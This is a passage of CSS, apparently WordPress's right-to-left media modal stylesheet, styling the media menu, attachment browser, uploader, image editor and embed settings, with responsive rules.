.sidebar-for-errors .compat-item, .sidebar-for-errors .media-sidebar .media-progress-bar, .sidebar-for-errors .upload-details { display: none !important; } /** * Menu */ .media-menu { position: absolute; top: 0; right: 0; left: 0; bottom: 0; margin: 0; padding: 50px 0 10px; background: #f6f7f7; border-left-width: 1px; border-left-style: solid; border-left-color: #c3c4c7; -webkit-user-select: none; user-select: none; } .media-menu .media-menu-item { display: block; box-sizing: border-box; width: 100%; position: relative; border: 0; margin: 0; padding: 8px 20px; font-size: 14px; line-height: 1.28571428; background: transparent; color: #2271b1; text-align: right; text-decoration: none; cursor: pointer; } .media-menu .media-menu-item:hover { background: rgba(0, 0, 0, 0.04); } .media-menu .media-menu-item:active { color: #2271b1; outline: none; } .media-menu .active, .media-menu .active:hover { color: #1d2327; font-weight: 600; } .media-menu .media-menu-item:focus { box-shadow: 0 0 0 2px #2271b1; color: #043959; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .media-menu .separator { height: 0; margin: 12px 20px; padding: 0; border-top: 1px solid #dcdcde; } /** * Menu */ .media-router { position: relative; padding: 0 6px; margin: 0; clear: both; } .media-router .media-menu-item { position: relative; float: right; border: 0; margin: 0; padding: 8px 10px 9px; height: 18px; line-height: 1.28571428; font-size: 14px; text-decoration: none; background: transparent; cursor: pointer; transition: none; } .media-router .media-menu-item:last-child { border-left: 0; } .media-router .media-menu-item:hover, .media-router .media-menu-item:active { color: #2271b1; } .media-router .active, .media-router .active:hover { color: #1d2327; } .media-router .media-menu-item:focus { box-shadow: 0 0 0 2px #2271b1; color: #043959; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; z-index: 1; } .media-router .active, .media-router .media-menu-item.active:last-child { margin: -1px -1px 0; background: #fff; border: 1px solid #dcdcde; border-bottom: none; } .media-router .active:after { display: none; } /** * Frame */ .media-frame { overflow: hidden; position: absolute; top: 0; right: 0; left: 0; bottom: 0; } .media-frame-menu { position: absolute; top: 0; right: 0; bottom: 0; width: 200px; z-index: 150; } .media-frame-title { position: absolute; top: 0; right: 200px; left: 0; height: 50px; z-index: 200; } .media-frame-router { position: absolute; top: 50px; right: 200px; left: 0; height: 36px; z-index: 200; } .media-frame-content { position: absolute; top: 84px; right: 200px; left: 0; bottom: 61px; height: auto; width: auto; margin: 0; overflow: auto; background: #fff; border-top: 1px solid #dcdcde; } .media-frame-toolbar { position: absolute; right: 200px; left: 0; z-index: 100; bottom: 60px; height: auto; } .media-frame.hide-menu .media-frame-title, .media-frame.hide-menu .media-frame-router, .media-frame.hide-menu .media-frame-toolbar, .media-frame.hide-menu .media-frame-content { right: 0; } .media-frame.hide-toolbar .media-frame-content { bottom: 0; } .media-frame.hide-router .media-frame-content { top: 50px; } .media-frame.hide-menu .media-frame-menu, .media-frame.hide-menu .media-frame-menu-heading, .media-frame.hide-router .media-frame-router, .media-frame.hide-toolbar .media-frame-toolbar { display: none; } .media-frame-title h1 { padding: 0 16px; font-size: 22px; line-height: 2.27272727; margin: 0; } .media-frame-menu-heading, .media-attachments-filter-heading { position: absolute; right: 20px; top: 22px; margin: 0; font-size: 13px; line-height: 1; /* Above the media-frame-menu. */ z-index: 151; } .media-attachments-filter-heading { top: 10px; right: 16px; } .mode-grid .media-attachments-filter-heading { top: 0; right: -9999px; } .mode-grid .media-frame-actions-heading { display: none; } .wp-core-ui .button.media-frame-menu-toggle { display: none; } .media-frame-title .suggested-dimensions { font-size: 14px; float: left; margin-left: 20px; } .media-frame-content .crop-content { height: 100%; } .options-general-php .crop-content.site-icon, .wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon { margin-left: 300px; } .media-frame-content .crop-content .crop-image { display: block; margin: auto; max-width: 100%; max-height: 100%; } .media-frame-content .crop-content .upload-errors { position: absolute; width: 300px; top: 50%; right: 50%; margin-right: -150px; margin-left: -150px; z-index: 600000; } /** * Iframes */ .media-frame .media-iframe { overflow: hidden; } .media-frame .media-iframe, .media-frame .media-iframe iframe { height: 100%; width: 100%; border: 0; } /** * Attachment Browser Filters */ .media-frame select.attachment-filters { margin-top: 11px; margin-left: 2%; max-width: 42%; max-width: calc(48% - 12px); } .media-frame select.attachment-filters:last-of-type { margin-left: 0; } /** * Search */ .media-frame .search { margin: 32px 0 0; padding: 4px; font-size: 13px; color: #3c434a; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; -webkit-appearance: none; } .media-toolbar-primary .search { max-width: 100%; } .media-modal .media-frame .media-search-input-label { position: absolute; right: 0; top: 10px; margin: 0; line-height: 1; } /** * Attachments */ .wp-core-ui .attachments { margin: 0; -webkit-overflow-scrolling: touch; } /** * Attachment */ .wp-core-ui .attachment { position: relative; float: right; padding: 8px; margin: 0; color: #3c434a; cursor: pointer; list-style: none; text-align: center; -webkit-user-select: none; user-select: none; width: 25%; box-sizing: border-box; } .wp-core-ui .attachment:focus, .wp-core-ui .selected.attachment:focus, .wp-core-ui .attachment.details:focus { box-shadow: inset 0 0 2px 3px #fff, inset 0 0 0 7px #4f94d4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -6px; } .wp-core-ui .selected.attachment { box-shadow: inset 0 0 0 5px #fff, inset 0 0 0 7px #c3c4c7; } .wp-core-ui .attachment.details { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #2271b1; } .wp-core-ui .attachment-preview { position: relative; box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.1), inset 0 0 0 1px rgba(0, 0, 0, 0.05); background: #f0f0f1; cursor: pointer; } .wp-core-ui .attachment-preview:before { content: ""; display: block; padding-top: 100%; } .wp-core-ui .attachment .icon { margin: 0 auto; overflow: hidden; } .wp-core-ui .attachment .thumbnail { overflow: hidden; position: absolute; top: 0; left: 0; bottom: 0; right: 0; opacity: 1; transition: opacity .1s; } .wp-core-ui .attachment .portrait img { max-width: 100%; } .wp-core-ui .attachment .landscape img { max-height: 100%; } .wp-core-ui .attachment .thumbnail:after { content: ""; display: block; position: absolute; top: 0; right: 0; left: 0; bottom: 0; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1); overflow: hidden; } .wp-core-ui .attachment .thumbnail img { top: 0; right: 0; } .wp-core-ui .attachment .thumbnail .centered { position: absolute; top: 0; right: 0; width: 100%; height: 100%; transform: translate( -50%, 50% ); } .wp-core-ui .attachment .thumbnail .centered img { transform: translate( 50%, -50% ); } .wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon { transform: translate( 50%, -70% ); } .wp-core-ui .attachment .filename { position: absolute; right: 0; left: 0; bottom: 0; overflow: hidden; max-height: 100%; word-wrap: break-word; text-align: center; font-weight: 600; background: rgba(255, 255, 255, 0.8); box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15); } .wp-core-ui .attachment .filename div { padding: 5px 10px; } .wp-core-ui .attachment .thumbnail img { position: absolute; } .wp-core-ui .attachment-close { display: block; position: absolute; top: 5px; left: 5px; height: 22px; width: 22px; padding: 0; background-color: #fff; border-radius: 3px; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.3); transition: none; } .wp-core-ui .attachment-close .media-modal-icon { display: inline-block; background-position: -96px 4px; height: 22px; width: 22px; } .wp-core-ui .attachment-close:hover .media-modal-icon, .wp-core-ui .attachment-close:focus .media-modal-icon { background-position: -36px 4px; } .wp-core-ui .attachment .check { display: none; height: 24px; width: 24px; padding: 0; border: 0; position: absolute; z-index: 10; top: 0; left: 0; outline: none; background: #f0f0f1; cursor: pointer; box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba(0, 0, 0, 0.15); } .wp-core-ui .attachment .check .media-modal-icon { display: block; background-position: -1px 0; height: 15px; width: 15px; margin: 5px; } .wp-core-ui .attachment .check:hover .media-modal-icon { background-position: -40px 0; } .wp-core-ui .attachment.selected .check { display: block; } .wp-core-ui .attachment.details .check, .wp-core-ui .attachment.selected .check:focus, .wp-core-ui .media-frame.mode-grid .attachment.selected .check { background-color: #2271b1; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #2271b1; } .wp-core-ui .attachment.selected .check:focus { /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-core-ui .attachment.details .check .media-modal-icon, .wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon { background-position: -21px 0; } .wp-core-ui .attachment.details .check:hover .media-modal-icon, .wp-core-ui .attachment.selected .check:focus .media-modal-icon, .wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon { background-position: -60px 0; } .wp-core-ui .media-frame .attachment .describe { position: relative; display: block; width: 100%; margin: 0; padding: 0 8px; font-size: 12px; border-radius: 0; } /** * Attachments Browser */ .media-frame .attachments-browser { position: relative; width: 100%; height: 100%; overflow: hidden; } .attachments-browser .media-toolbar { left: 300px; height: 72px; background: #fff; } .attachments-browser.hide-sidebar .media-toolbar { left: 0; } .attachments-browser .media-toolbar-primary > .media-button, .attachments-browser .media-toolbar-primary > .media-button-group, .attachments-browser .media-toolbar-secondary > .media-button, .attachments-browser .media-toolbar-secondary > .media-button-group { margin: 10px 0; } .attachments-browser .attachments { padding: 2px 8px 8px; } .attachments-browser:not(.has-load-more) .attachments, .attachments-browser.has-load-more .attachments-wrapper, .attachments-browser .uploader-inline { position: absolute; top: 72px; right: 0; left: 300px; bottom: 0; overflow: auto; outline: none; } .attachments-browser .uploader-inline.hidden { display: none; } .attachments-browser .media-toolbar-primary { max-width: 33%; } .mode-grid .attachments-browser .media-toolbar-primary { display: flex; align-items: center; column-gap: .5rem; margin: 11px 0; } .mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary { display: none; } .attachments-browser .media-toolbar-secondary { max-width: 66%; } .uploader-inline .close { background-color: transparent; border: 0; cursor: pointer; height: 48px; outline: none; padding: 0; position: absolute; left: 2px; text-align: center; top: 2px; width: 48px; z-index: 1; } .uploader-inline .close:before { font: normal 30px/1 dashicons !important; color: #50575e; display: inline-block; content: "\f335"; content: "\f335" / ''; font-weight: 300; margin-top: 1px; } .uploader-inline .close:focus { outline: 1px solid #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); } .attachments-browser.hide-sidebar .attachments, .attachments-browser.hide-sidebar .uploader-inline { left: 0; margin-left: 0; } .attachments-browser .instructions { display: inline-block; margin-top: 16px; line-height: 1.38461538; font-size: 13px; color: #646970; } .attachments-browser .no-media { padding: 2em 2em 0 0; } .more-loaded .attachment:not(.found-media) { background: #dcdcde; } .load-more-wrapper { clear: both; display: flex; flex-wrap: wrap; align-items: center; justify-content: center; padding: 1em 0; } .load-more-wrapper .load-more-count { min-width: 100%; margin: 0 0 1em; text-align: center; } .load-more-wrapper .load-more { margin: 0; } /* Needs high specificity. */ .media-frame .load-more-wrapper .load-more + .spinner { float: none; margin: 0 10px 0 -30px; } /* Reset spinner margin when the button is hidden to avoid horizontal scrollbar. */ .media-frame .load-more-wrapper .load-more.hidden + .spinner { margin: 0; } /* Force a new row within the flex container. */ .load-more-wrapper::after { content: ""; min-width: 100%; order: 1; } .load-more-wrapper .load-more-jump { margin: 0 12px 0 0; } .attachment.new-media { outline: 2px dotted #c3c4c7; } /** * Progress Bar */ .media-progress-bar { position: relative; height: 10px; width: 70%; margin: 10px auto; border-radius: 10px; background: #dcdcde; background: rgba(0, 0, 0, 0.1); } .media-progress-bar div { height: 10px; min-width: 20px; width: 0; background: #2271b1; border-radius: 10px; transition: width 300ms; } .media-uploader-status .media-progress-bar { display: none; width: 100%; } .uploading.media-uploader-status .media-progress-bar { display: block; } .attachment-preview .media-progress-bar { position: absolute; top: 50%; right: 15%; width: 70%; margin: -5px 0 0; } .media-uploader-status { position: relative; margin: 0 auto; padding-bottom: 10px; max-width: 400px; } .uploader-inline .media-uploader-status h2 { display: none; } .media-uploader-status .upload-details { display: none; font-size: 12px; color: #646970; } .uploading.media-uploader-status .upload-details { display: block; } .media-uploader-status .upload-detail-separator { padding: 0 4px; } .media-uploader-status .upload-count { color: #3c434a; } .media-uploader-status .upload-dismiss-errors, .media-uploader-status .upload-errors { display: none; } .errors.media-uploader-status .upload-dismiss-errors, .errors.media-uploader-status .upload-errors { display: block; } .media-uploader-status .upload-dismiss-errors { transition: none; text-decoration: none; } .upload-errors .upload-error { padding: 12px; margin-bottom: 12px; background: #fff; border-right: 4px solid #d63638; box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1); } .uploader-inline .upload-errors .upload-error { padding: 12px 30px; background-color: #fcf0f1; box-shadow: none; } .upload-errors .upload-error-filename { font-weight: 600; } .upload-errors .upload-error-message { display: block; padding-top: 8px; word-wrap: break-word; } /** * Window and Editor uploaders used to display "drop zones" */ .uploader-window, .wp-editor-wrap .uploader-editor { top: 0; right: 0; left: 0; bottom: 0; text-align: center; display: none; } .uploader-window { position: fixed; z-index: 250000; opacity: 0; /* Only the inline uploader is animated with JS, the editor one isn't */ transition: opacity 250ms; } .wp-editor-wrap .uploader-editor { position: absolute; z-index: 99998; /* under the toolbar */ background: rgba(140, 143, 148, 0.9); } .uploader-window, .wp-editor-wrap .uploader-editor.droppable { background: rgba(10, 75, 120, 0.9); } .uploader-window-content, .wp-editor-wrap .uploader-editor-content { position: absolute; top: 10px; right: 10px; left: 10px; bottom: 10px; border: 1px dashed #fff; } /* uploader drop-zone title */ .uploader-window h1, /* Back-compat for pre-5.3 */ .uploader-window .uploader-editor-title, .wp-editor-wrap .uploader-editor .uploader-editor-title { position: absolute; top: 50%; right: 0; left: 0; transform: translateY(-50%); font-size: 3em; line-height: 1.3; font-weight: 600; color: #fff; margin: 0; padding: 0 10px; } .wp-editor-wrap .uploader-editor .uploader-editor-title { display: none; } .wp-editor-wrap .uploader-editor.droppable .uploader-editor-title { display: block; } .uploader-window .media-progress-bar { margin-top: 20px; max-width: 300px; background: transparent; border-color: #fff; display: none; } .uploader-window .media-progress-bar div { background: #fff; } .uploading .uploader-window .media-progress-bar { display: block; } .media-frame .uploader-inline { margin-bottom: 20px; padding: 0; text-align: center; } .uploader-inline-content { position: absolute; top: 30%; right: 0; left: 0; } .uploader-inline-content .upload-ui { margin: 2em 0; } .uploader-inline-content .post-upload-ui { margin-bottom: 2em; } .uploader-inline .has-upload-message .upload-ui { margin: 0 0 4em; } .uploader-inline h2 { font-size: 20px; line-height: 1.4; font-weight: 400; margin: 0; } .uploader-inline .has-upload-message .upload-instructions { font-size: 14px; color: #3c434a; font-weight: 400; } .uploader-inline .drop-instructions { display: none; } .supports-drag-drop .uploader-inline .drop-instructions { display: block; } .uploader-inline p { margin: 0.5em 0; } .uploader-inline .media-progress-bar { display: none; } .uploading.uploader-inline .media-progress-bar { display: block; } .uploader-inline .browser { display: inline-block !important; } /** * Selection */ .media-selection { position: absolute; top: 0; right: 0; left: 350px; height: 60px; padding: 0 16px 0 0; overflow: hidden; white-space: nowrap; } .media-selection .selection-info { display: inline-block; font-size: 12px; height: 60px; margin-left: 10px; vertical-align: top; } .media-selection.empty, .media-selection.editing { display: none; } .media-selection.one .edit-selection { display: none; } .media-selection .count { display: block; padding-top: 12px; font-size: 14px; line-height: 1.42857142; font-weight: 600; } .media-selection .button-link { float: right; padding: 1px 8px; margin: 1px -8px 1px 8px; line-height: 1.4; border-left: 1px solid #dcdcde; color: #2271b1; text-decoration: none; } .media-selection .button-link:hover, .media-selection .button-link:focus { color: #135e96; } .media-selection .button-link:last-child { border-left: 0; margin-left: 0; } .selection-info .clear-selection { color: #d63638; } .selection-info .clear-selection:hover, .selection-info .clear-selection:focus { color: #d63638; } .media-selection .selection-view { display: inline-block; vertical-align: top; } .media-selection .attachments { display: inline-block; height: 48px; margin: 6px; padding: 0; overflow: hidden; vertical-align: top; } .media-selection .attachment { width: 40px; padding: 0; margin: 4px; } .media-selection .attachment .thumbnail { top: 0; left: 0; bottom: 0; right: 0; } .media-selection .attachment .icon { width: 50%; } .media-selection .attachment-preview { box-shadow: none; background: none; } .wp-core-ui .media-selection .attachment:focus, .wp-core-ui .media-selection .selected.attachment:focus, .wp-core-ui .media-selection .attachment.details:focus { box-shadow: 0 0 0 1px #fff, 0 0 2px 3px #4f94d4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-core-ui .media-selection .selected.attachment { box-shadow: none; } .wp-core-ui .media-selection .attachment.details { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #2271b1; } .media-selection:after { content: ""; display: block; position: absolute; top: 0; left: 0; bottom: 0; width: 25px; background-image: linear-gradient(to right,#fff,rgba(255, 255, 255, 0)); } .media-selection .attachment .filename { display: none; } /** * Spinner */ .media-frame .spinner { background: url(../images/spinner.gif) no-repeat; background-size: 20px 20px; float: left; display: inline-block; visibility: hidden; opacity: 0.7; filter: alpha(opacity=70); width: 20px; height: 20px; margin: 0; vertical-align: middle; } .media-frame .media-sidebar .settings-save-status .spinner { position: absolute; left: 0; top: 0; } .media-frame.mode-grid .spinner { margin: 0; float: none; vertical-align: middle; } .media-modal .media-toolbar .spinner { float: none; vertical-align: bottom; margin: 0 5px 5px 0; } .media-frame .instructions + .spinner.is-active { vertical-align: middle; } .media-frame .spinner.is-active { visibility: visible; } /** * Attachment Details */ .attachment-details { position: relative; overflow: auto; } .attachment-details .settings-save-status { text-align: left; text-transform: none; font-weight: 400; } .attachment-details .settings-save-status .spinner { float: none; margin-right: 5px; } .attachment-details .settings-save-status .saved { display: none; } .attachment-details.save-waiting .settings-save-status .spinner { visibility: visible; } .attachment-details.save-complete .settings-save-status .saved { display: inline-block; } .attachment-info { overflow: hidden; min-height: 60px; margin-bottom: 16px; line-height: 1.5; color: #646970; border-bottom: 1px solid #dcdcde; padding-bottom: 11px; } .attachment-info .wp-media-wrapper { margin-bottom: 8px; } .attachment-info .wp-media-wrapper.wp-audio { margin-top: 13px; } .attachment-info .filename { font-weight: 600; color: #3c434a; word-wrap: break-word; } .attachment-info .thumbnail { position: relative; float: right; max-width: 120px; max-height: 120px; margin-top: 5px; margin-left: 10px; margin-bottom: 5px; } .uploading .attachment-info .thumbnail { width: 120px; height: 80px; box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.1); } .uploading .attachment-info .media-progress-bar { margin-top: 35px; } .attachment-info .thumbnail-image:after { content: ""; display: block; position: absolute; top: 0; right: 0; left: 0; bottom: 0; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15); overflow: hidden; } .attachment-info .thumbnail img { display: block; max-width: 120px; max-height: 120px; margin: 0 auto; } .attachment-info .details { float: right; font-size: 12px; max-width: 100%; } .attachment-info .edit-attachment, .attachment-info .delete-attachment, .attachment-info .trash-attachment, .attachment-info .untrash-attachment { display: block; text-decoration: none; white-space: nowrap; } .attachment-details.needs-refresh .attachment-info .edit-attachment { display: none; } .attachment-info .edit-attachment { display: block; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment { display: inline; padding: 0; color: #d63638; } .media-modal .delete-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:hover, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:hover, .media-modal .untrash-attachment:focus { color: #d63638; } /** * Attachment Display Settings */ .attachment-display-settings { width: 100%; float: right; overflow: hidden; } .collection-settings { overflow: hidden; } .collection-settings .setting input[type="checkbox"] { float: right; margin-left: 8px; } .collection-settings .setting span, /* Back-compat for pre-5.3 */ .collection-settings .setting .name { min-width: inherit; } /** * Image Editor */ .media-modal .imgedit-wrap { position: static; } .media-modal .imgedit-wrap .imgedit-panel-content { padding: 16px 16px 0; overflow: visible; } /* * Implementation of bottom padding in overflow content differs across browsers. * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129 */ .media-modal .imgedit-wrap .imgedit-save-target { margin: 8px 0 24px; } .media-modal .imgedit-group { background: none; border: none; box-shadow: none; margin: 0; padding: 0; position: relative; /* RTL fix, #WP29352 */ } .media-modal .imgedit-group.imgedit-panel-active { margin-bottom: 16px; padding-bottom: 16px; } .media-modal .imgedit-group-top { margin: 0; } .media-modal .imgedit-group-top h2, .media-modal .imgedit-group-top h2 .button-link { display: inline-block; text-transform: uppercase; font-size: 12px; color: #646970; margin: 0; margin-top: 3px; } .media-modal .imgedit-group-top h2 a, .media-modal .imgedit-group-top h2 .button-link { text-decoration: none; color: #646970; } /* higher specificity than media.css */ .wp-core-ui.media-modal .image-editor .imgedit-help-toggle, .wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover, .wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active { border: 1px solid transparent; margin: 0; padding: 0; background: transparent; color: #2271b1; font-size: 20px; line-height: 1; cursor: pointer; box-sizing: content-box; box-shadow: none; } .wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus { color: #2271b1; border-color: #2271b1; box-shadow: 0 0 0 1px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle { margin-top: -3px; } .wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle { margin-top: -2px; } .media-modal .imgedit-help-toggled span.dashicons:before { content: "\f142"; content: "\f142" / ''; } .media-modal .imgedit-thumbnail-preview { margin: 10px 0 0 8px; } .imgedit-thumbnail-preview-caption { display: block; } .media-modal .imgedit-wrap div.updated, /* Back-compat for pre-5.5 */ .media-modal .imgedit-wrap .notice { margin: 0 16px; } /** * Embed from URL and Image Details */ .embed-url { display: block; position: relative; padding: 16px; margin: 0; z-index: 250; background: #fff; font-size: 18px; } .media-frame .embed-url input { font-size: 18px; line-height: 1.22222222; /* 22px */ padding: 12px 14px 12px 40px; /* right padding to leave room for the spinner */ width: 100%; min-width: 200px; box-shadow: inset -2px 2px 4px -2px rgba(0, 0, 0, 0.1); } .media-frame .embed-url input::-ms-clear { display: none; /* the "x" in IE 11 conflicts with the spinner */ } .media-frame .embed-url .spinner { position: absolute; top: 32px; left: 26px; } .media-frame .embed-loading .embed-url .spinner { visibility: visible; } .embed-link-settings, .embed-media-settings { position: absolute; top: 82px; right: 0; left: 0; bottom: 0; padding: 0 16px; overflow: auto; } .media-embed .embed-link-settings .link-text { margin-top: 0; } /* * Implementation of bottom padding in overflow content differs across browsers. * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129 */ .embed-link-settings::after, .embed-media-settings::after { content: ""; display: flex; clear: both; height: 24px; } .media-embed .embed-link-settings { /* avoid Firefox to give focus to the embed preview container parent */ overflow: visible; } .embed-preview img, .embed-preview iframe, .embed-preview embed, .mejs-container video { max-width: 100%; vertical-align: middle; } .embed-preview a { display: inline-block; } .embed-preview img { display: block; height: auto; } .mejs-container:focus { outline: 1px solid #2271b1; box-shadow: 0 0 0 2px #2271b1; } .image-details .media-modal { right: 140px; left: 140px; } .image-details .media-frame-title, .image-details .media-frame-content, .image-details .media-frame-router { right: 0; } .image-details .embed-media-settings { top: 0; overflow: visible; padding: 0; } .image-details .embed-media-settings::after { content: none; } .image-details .embed-media-settings, .image-details .embed-media-settings div { box-sizing: border-box; } .image-details .column-settings { background: #f6f7f7; border-left: 1px solid #dcdcde; min-height: 100%; width: 55%; position: absolute; top: 0; right: 0; } .image-details .column-settings h2 { margin: 20px; padding-top: 20px; border-top: 1px solid #dcdcde; color: #1d2327; } .image-details .column-image { width: 45%; position: absolute; right: 55%; top: 0; } .image-details .image { margin: 20px; } .image-details .image img { max-width: 100%; max-height: 500px; } .image-details .advanced-toggle { padding: 0; color: #646970; text-transform: uppercase; text-decoration: none; } .image-details .advanced-toggle:hover, .image-details .advanced-toggle:active { color: #646970; } .image-details .advanced-toggle:after { font: normal 20px/1 dashicons; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; content: "\f140"; content: "\f140" / ''; display: inline-block; margin-top: -2px; } .image-details .advanced-visible .advanced-toggle:after { content: "\f142"; content: "\f142" / ''; } .image-details .custom-size label, /* Back-compat for pre-5.3 */ .image-details .custom-size .custom-size-setting { display: block; float: right; } .image-details .custom-size .custom-size-setting label { float: none; } .image-details .custom-size input { width: 5em; } .image-details .custom-size .sep { float: right; margin: 26px 6px 0; } .image-details .custom-size .description { margin-right: 0; } .media-embed .thumbnail { max-width: 100%; max-height: 200px; position: relative; float: right; } .media-embed .thumbnail img { max-height: 200px; display: block; } .media-embed .thumbnail:after { content: ""; display: block; position: absolute; top: 0; right: 0; left: 0; bottom: 0; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1); overflow: hidden; } .media-embed .setting, .media-embed .setting-group { width: 100%; margin: 10px 0; float: right; display: block; clear: both; } .media-embed .setting-group .setting:not(.checkbox-setting) { margin: 0; } .media-embed .setting.has-description { margin-bottom: 5px; } .media-embed .description { clear: both; font-style: normal; } .media-embed .content-track + .description { line-height: 1.4; /* The !important needs to override a high specificity selector from wp-medialement.css */ max-width: none !important; } .media-embed .remove-track { margin-bottom: 10px; } .image-details .embed-media-settings .setting, .image-details .embed-media-settings .setting-group { float: none; width: auto; } .image-details .actions { margin: 10px 0; } .image-details .hidden { display: none; } .media-embed .setting input[type="text"], .media-embed .setting textarea, .media-embed fieldset { display: block; width: 100%; max-width: 400px; } .image-details .embed-media-settings .setting input[type="text"], .image-details .embed-media-settings .setting textarea { max-width: inherit; width: 70%; } .image-details .embed-media-settings .setting input.link-to-custom, .image-details .embed-media-settings .link-target, .image-details .embed-media-settings .custom-size, .image-details .embed-media-settings .setting-group, .image-details .description { margin-right: 27%; width: 70%; } .image-details .description { font-style: normal; margin-top: 0; } .image-details .embed-media-settings .link-target { margin-top: 16px; } .image-details .checkbox-label, .audio-details .checkbox-label, .video-details .checkbox-label { vertical-align: baseline; } .media-embed .setting input.hidden, .media-embed .setting textarea.hidden { display: none; } .media-embed .setting span, /* Back-compat for pre-5.3 */ .media-embed .setting .name, .media-embed .setting-group .name { display: inline-block; font-size: 13px; line-height: 1.84615384; color: #646970; } .media-embed .setting span { display: block; /* Back-compat for pre-5.3 */ width: 200px; /* Back-compat for pre-5.3 */ } .image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */ .image-details .embed-media-settings .setting .name { float: right; width: 25%; text-align: left; margin: 8px 1% 0; line-height: 1.1; } /* Buttons group in IE 11. */ .media-frame .setting-group .button-group, .image-details .embed-media-settings .setting .button-group { width: auto; } .media-embed-sidebar { position: absolute; top: 0; right: 440px; } .advanced-section, .link-settings { margin-top: 10px; } /** * Button groups fix: can be removed together with the Back-compat for pre-5.3 */ .media-frame .setting .button-group { display: flex; margin: 0 !important; max-width: none !important; } /** * Localization */ .rtl .media-modal, .rtl .media-frame, .rtl .media-frame .search, .rtl .media-frame input[type="text"], .rtl .media-frame input[type="password"], .rtl .media-frame input[type="number"], .rtl .media-frame input[type="search"], .rtl .media-frame input[type="email"], .rtl .media-frame input[type="url"], .rtl .media-frame input[type="tel"], .rtl .media-frame textarea, .rtl .media-frame select { font-family: Tahoma, sans-serif; } :lang(he-il) .rtl .media-modal, :lang(he-il) .rtl .media-frame, :lang(he-il) .rtl .media-frame .search, :lang(he-il) .rtl .media-frame input[type="text"], :lang(he-il) .rtl .media-frame input[type="password"], :lang(he-il) .rtl .media-frame input[type="number"], :lang(he-il) .rtl .media-frame input[type="search"], :lang(he-il) .rtl .media-frame input[type="email"], :lang(he-il) .rtl .media-frame input[type="url"], :lang(he-il) .rtl .media-frame textarea, :lang(he-il) .rtl .media-frame select { font-family: Arial, sans-serif; } /** * Responsive layout */ @media only screen and (max-width: 900px) { .media-modal .media-frame-title { height: 40px; } .media-modal .media-frame-title h1 { line-height: 2.22222222; font-size: 18px; } .media-modal-close { width: 42px; height: 42px; } /* Drop-down menu */ .media-frame .media-frame-title { position: static; padding: 0 44px; text-align: center; } .media-frame:not(.hide-menu) .media-frame-router, .media-frame:not(.hide-menu) .media-frame-content, .media-frame:not(.hide-menu) .media-frame-toolbar { right: 0; } .media-frame:not(.hide-menu) .media-frame-router { /* 40 title + (40 - 6) menu toggle button + 6 spacing */ top: 80px; } .media-frame:not(.hide-menu) .media-frame-content { /* 80 + room for the tabs */ top: 114px; } .media-frame.hide-router .media-frame-content { top: 80px; } .media-frame:not(.hide-menu) .media-frame-menu { position: static; width: 0; } .media-frame:not(.hide-menu) .media-menu { display: none; width: auto; max-width: 80%; overflow: auto; z-index: 2000; top: 75px; right: 50%; transform: translateX(50%); left: auto; bottom: auto; padding: 5px 0; border: 1px solid #c3c4c7; } .media-frame:not(.hide-menu) .media-menu.visible { display: block; } .media-frame:not(.hide-menu) .media-menu > a { padding: 12px 16px; font-size: 16px; } .media-frame:not(.hide-menu) .media-menu .separator { margin: 5px 10px; } /* Visually hide the menu heading keeping it available to assistive technologies. */ .media-frame-menu-heading { clip-path: inset(50%); height: 1px; overflow: hidden; padding: 0; width: 1px; border: 0; margin: -1px; word-wrap: normal !important; } /* Reveal the menu toggle button. */ .wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle { display: inline-flex; align-items: center; position: absolute; right: 50%; transform: translateX(50%); margin: -6px 0 0; padding: 0 12px 0 2px; font-size: 0.875rem; font-weight: 600; text-decoration: none; background: transparent; /* Only for IE11 to vertically align text within the inline-flex button */ height: 0.1%; /* Modern browsers */ min-height: 40px; } .wp-core-ui .button.media-frame-menu-toggle:hover, .wp-core-ui .button.media-frame-menu-toggle:active { background: transparent; transform: none; } .wp-core-ui .button.media-frame-menu-toggle:focus { /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } /* End drop-down menu */ .media-sidebar { width: 230px; } .options-general-php .crop-content.site-icon, .wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon { margin-left: 262px; } .attachments-browser .attachments, .attachments-browser .uploader-inline, .attachments-browser .media-toolbar, .attachments-browser .attachments-wrapper, 